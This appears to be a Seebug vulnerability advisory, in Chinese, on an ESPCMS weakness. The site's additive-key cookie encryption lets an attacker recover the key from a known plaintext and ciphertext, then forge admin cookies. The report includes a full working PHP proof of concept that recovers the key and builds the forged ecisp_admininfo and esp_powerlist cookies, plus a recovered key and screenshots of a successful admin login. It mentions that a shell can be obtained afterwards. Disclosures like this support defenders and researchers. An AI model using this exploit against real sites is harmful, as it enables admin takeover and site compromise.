Espcms加密函数缺陷导致getshell

2013-08-10T00:00:00
ID SSV:94404
Type seebug
Reporter Root
Modified 2013-08-10T00:00:00

Description

简要描述:

espcms的加解密函数设计存在缺陷,可还原key并伪造cookie登陆后台getshell

详细说明:

  • 程序的加解密函数存在缺陷,可以通过明文和密文逆向还原密钥
  • 后台登陆处没有有效验证cookie有效性导致攻击者可以通过伪造cookie登陆后台
  • 后台可以上传shell 下面一步一步来看 首先是加解密函数eccode

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; }

可以看到密文是明文与key通过字符ascii相加最后base64编码后得到的,加密时,key由最后一位开始,依次与明文的每一位进行ascii相加,因此用密文和明文相减能得到key,有没有凯撒加密的感觉? 知道原理以后下面开始逆向key:

function anti_eccode($encrypt, $clear) { $result = null; $data = str_replace(array('-', '_'), array('+', '/'), $encrypt); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($clear, $i, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } $result = substr($result, 1, strlen($result) - 1).substr($result, 0, 1); return $result; }

好吧,虽然现在理论上可以还原key了,但是还得找到足够长的明文和相对应的密文才可以得到完整的key,毕竟如果明文和密文都没有key长,还原得到的key也是不完整的。 在购物车结算时,程序会把当前物品的价格和折扣变成md5然后加密后放到cookie里,所以我们可以保证推算出最多32位长的key,够了,至于其他的地方不知道可不可以,我没有仔细看。

function in_orderpay() { parent::start_pagetemplate(); if ($this->CON['order_ismember']) { parent::member_purview(0, $this->mlink['orderpay']); } $lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG; $cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode); $cartid = stripslashes(htmlspecialchars_decode($cartid)); $uncartid = !empty($cartid) ? unserialize($cartid) : 0; if ($this->CON['order_ismember']) { if (!empty($this->ec_member_username_id) && !empty($this->ec_member_username)) { $rsMember = $this->get_member(null, $this->ec_member_username_id); } else { $linkURL = $this->get_link('memberlogin'); $this->callmessage($this->lng['memberloginerr'], $linkURL, $this->lng['memberlogin'], 1, $this->lng['member_regbotton'], 1, $this->mlink['reg']); } } if ($uncartid && is_array($uncartid)) { $didarray = $this->fun->key_array_name($uncartid, 'did', 'amount', '[0-9]+', '[0-9]+'); $didlist = $this->fun->format_array_text(array_keys($didarray), ','); if (!empty($didlist)) { $db_table = db_prefix . 'document'; $db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC"; $sql = "SELECT * FROM $db_table WHERE $db_where"; $rs = $this->db->query($sql); $productmoney = 0; while ($rsList = $this->db->fetch_assoc($rs)) { $amount = empty($didarray[$rsList['did']]) ? 1 : intval($didarray[$rsList['did']]); $rsList['link'] = $this->get_link('doc', $rsList, admin_LNG); $rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG); $rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG); $rsList['dellink'] = $this->get_link('buydel', $rsList, admin_LNG); $rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "<font color='" . $rsList['color'] . "'>" . $rsList['title'] . "</font>"; $rsList['amount'] = $amount; $countprice = sprintf("%01.2f", $amount * $rsList['bprice']); $rsList['countprice'] = $countprice; $productmoney = $productmoney + $countprice; $array[] = $rsList; } $this->fun->setcookie('ecisp_order_productmoney', $this->fun->eccode($productmoney, 'ENCODE', db_pscode), 7200); } $this->pagetemplate->assign('moneytype', $this->CON['order_moneytype']); $order_discount = $this->CON['order_discount']; $discountmoney = 0; if ($order_discount > 0) { $discountmoney = $productmoney > 0 ? $productmoney - ($order_discount / 100) * $productmoney : 0; } $discount_productmoney = $productmoney - $discountmoney; $order_integral = empty($this->CON['order_integral']) ? 1 : intval($this->CON['order_integral']); $internum = $discount_productmoney * $order_integral; $this->pagetemplate->assign('internum', intval($internum)); $payplug = $this->get_payplug_array(); $shipplug = $this->get_shipplug_array(); $cookiceprice = md5("$productmoney|$discount_productmoney"); $this->fun->setcookie('ecisp_order_sncode', $this->fun->eccode($cookiceprice, 'ENCODE', db_pscode));

而被加密的明文就是MD5过后的购物价格,因此可以还原最长32位的key 在经过上面的步骤还原key以后,就可以伪造cookie登陆后台了:

$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode)); $this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode)); list($esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $esp_powerid, $esp_inputclassid, $this->esp_softurl) = $arr_purview; $this->esp_adminuserid = intval($esp_adminuserid); $this->esp_inputclassid = intval($esp_inputclassid); $this->esp_powerid = intval($esp_powerid); if ($gettype) { if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) { $condition = 0; } else { $condition = 1; } } else { if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) { $condition = 0; } else { $condition = 1; } } if ($condition == 0) { if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') { header('location: index.php?archive=adminuser&action=login'); exit(); } } else { if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') { header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter'); exit(); } }

需要cookie中的将esp_powerlist设为all,将ecisp_admininfo设为类似'1|hym|12345678901234567890123456789012|'.md5('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0').'|1|management|'.md5('http://www.evil.com/espcms/adminsoft'这样的结构,去登陆后台就可以了,此处应有掌声。

漏洞证明:

首先注册会员购物

<img src="https://images.seebug.org/upload/201308/100149559886b8704a07e0c0ed3d88340890be70.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">

折扣前和折扣后的价格都是3200,所以明文是 md5('3200|3200')='38a7a5650e6296b180c88f6592486fbf' 密文通过查看cookie中的ecisp_order_sncode得到: ecisp_order_sncode=mHGWbpJsapiRnZhjbG6WlWtnlpxqzG6XbWlsa5ufl50 写了一个poc来还原key:

``` <?php function anti_eccode($encrypt, $clear) { $result = null; $data = str_replace(array('-', ''), array('+', '/'), $encrypt); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($clear, $i, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } $result = substr($result, 1, strlen($result) - 1).substr($result, 0, 1); return $result; } function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; }

明文

$clear = "38a7a5650e6296b180c88f6592486fbf";

密文

$encrypt = "mHGWbpJsapiRnZhjbG6WlWtnlpxqzG6XbWlsa5ufl50";

获取key

$mkey = anti_eccode($encrypt, $clear); print "[*]maybe key is:".$mkey."\n";

使用者自己根据判断裁剪mkey的长度获取真实的key

print "[*]input key:"; $key = trim(fgets(STDIN));

构造cookie

$esp_powerlist = eccode('all', 'ENCODE', $key); $ecisp_admininfo = eccode('1|hym|12345678901234567890123456789012|'.md5('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0').'|1|management|'.md5('http://www.evil.com/espcms/adminsoft'), 'ENCODE', $key); print "[+]esp_powerlist=$esp_powerlist\n"; print "[+]ecisp_admininfo=$ecisp_admininfo\n"; ?> ```

<img src="https://images.seebug.org/upload/201308/1001563653befce4cadf77a0575826c0737d74c8.jpg" alt="getkey.jpg" width="600" onerror="javascript:errimg(this);">

通过检查,发现后面实际是重复的,因此真正的key应该是前面的957174ca8b1384d373d2f8b4783e key正是"957174ca8b1384d373d2f8b4783e" 然后设置cookie并登陆,浏览器要与poc中设置的浏览器一致,否则会登陆失败

<img src="https://images.seebug.org/upload/201308/100159464ddb892df21f44f87f9d0209dbc767e0.jpg" alt="setcookie.jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201308/100211536949218ba0d6642124985427934ff9f2.jpg" alt="admin.jpg" width="600" onerror="javascript:errimg(this);">

进入后台后getshell的方法有很多,就不说了。